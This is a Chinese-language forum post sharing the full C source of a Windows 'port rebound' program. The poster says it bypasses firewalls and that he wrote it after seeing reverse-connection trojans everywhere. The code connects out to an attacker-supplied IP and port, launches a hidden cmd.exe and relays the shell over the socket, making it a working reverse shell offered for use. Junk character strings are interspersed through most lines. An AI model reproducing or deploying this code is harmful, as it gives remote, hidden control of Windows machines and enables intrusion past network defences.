社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6755阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @Z2^smf  
^2)<H7p  
/* ==============================  xh|<`>5  
Rebound port in Windows NT &UfP8GE9  
By wind,2006/7 RBOg;EJ  
===============================*/ iV2v<ap.n  
#include ;nbV-<e  
#include (utk)  
g?E8zf `  
#pragma comment(lib,"wsock32.lib") Q"F" 13  
8]j*z n?,  
void OutputShell(); L-eO_tTh0  
SOCKET sClient; vef9*u`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {u)>W@Lr  
SS*3Qx:[  
void main(int argc,char **argv) L~|_CRw  
{ @<`P-+m  
WSADATA stWsaData; hnBX enT6  
int nRet; @|'$k{i  
SOCKADDR_IN stSaiClient,stSaiServer; D A_}pS"  
wU(!fw\  
if(argc != 3) b>]k=zd  
{ p!>DA?vF  
printf("Useage:\n\rRebound DestIP DestPort\n"); /^hc8X  
return; >yf}9Zs  
} ~`X$b F  
x,M8NTb*  
WSAStartup(MAKEWORD(2,2),&stWsaData); TY;%nT  
7 >-(g+NF!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .oH)eD  
i[/`9 AK  
stSaiClient.sin_family = AF_INET; ex6 QHUQ  
stSaiClient.sin_port = htons(0); i62GZe E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,{2= nb[  
D=@bPB>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  OEnCN  
{ 7Fzj&!>ti  
printf("Bind Socket Failed!\n"); sT'j36Nc<,  
return; 08G${@D+X0  
} o@sL/5,  
weC.k x   
stSaiServer.sin_family = AF_INET; +vt?3i\^.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :hTmt{LjN  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2@,rIve  
`z$=J"%? y  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i5cK5MaD  
{ j: E3c\a  
printf("Connect Error!"); %f5c,}  
return; @Y !Jm  
} xSrjN  
OutputShell(); 7:e5l19 uI  
} bF'Jm*f  
-% \LW1  
void OutputShell() r;_*.|AH  
{ TeRH@oI  
char szBuff[1024]; _$_,r H  
SECURITY_ATTRIBUTES stSecurityAttributes; aGNb  Cm  
OSVERSIONINFO stOsversionInfo; mO2u9?N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J,:Wv`N:9~  
STARTUPINFO stStartupInfo; N\anjG  
char *szShell; MY'T%_i d  
PROCESS_INFORMATION stProcessInformation; B?l 0u  
unsigned long lBytesRead; I%l2_hs0V  
x>tsI}C  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @%jY  
YI>9C 76L  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e$7KMH=  
stSecurityAttributes.lpSecurityDescriptor = 0; f4Ob4ah!(  
stSecurityAttributes.bInheritHandle = TRUE; %UlgG 1?A  
35J VF*z  
A1n4R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _+,>NJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i0F6eqe=J  
n0Qp:_2z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &v#pS!UOj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f2u4*X E\  
stStartupInfo.wShowWindow = SW_HIDE; Clb7=@f  
stStartupInfo.hStdInput = hReadPipe; Nq1YFI>W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,P%i%YPj  
KM?w{ ~9  
GetVersionEx(&stOsversionInfo); 5zOC zm  
kD(#LM<9s  
switch(stOsversionInfo.dwPlatformId) \k{d'R#~(  
{ re4A5Ev$  
case 1: $18?Q+?3  
szShell = "command.com"; wLzV#8>  
break; "U/yq  
default: Nw{Cu+AwG  
szShell = "cmd.exe"; jq%}=-%KE  
break; |w{C!Q8l  
} CB#B!;I8v  
45k.U$<|  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <}T7;knO  
B(f_~]  
send(sClient,szMsg,77,0); +j %y#_~  
while(1) kbo9nY1k g  
{ &?}A/(#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nk;^sq4M:  
if(lBytesRead) a$\ Bt_  
{ r uIgoB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J9MAnYd)i  
send(sClient,szBuff,lBytesRead,0); Ym.{ {^=  
} ICiGZ'k  
else gJ~CD1`O  
{ aW}d=y[  
lBytesRead=recv(sClient,szBuff,1024,0); 7'#_uA QR  
if(lBytesRead<=0) break; R3>c\mA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XRHngW_A  
} uPxJwWXO  
} vR&b2G7o  
[=",R&uD$  
return; `Tei  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五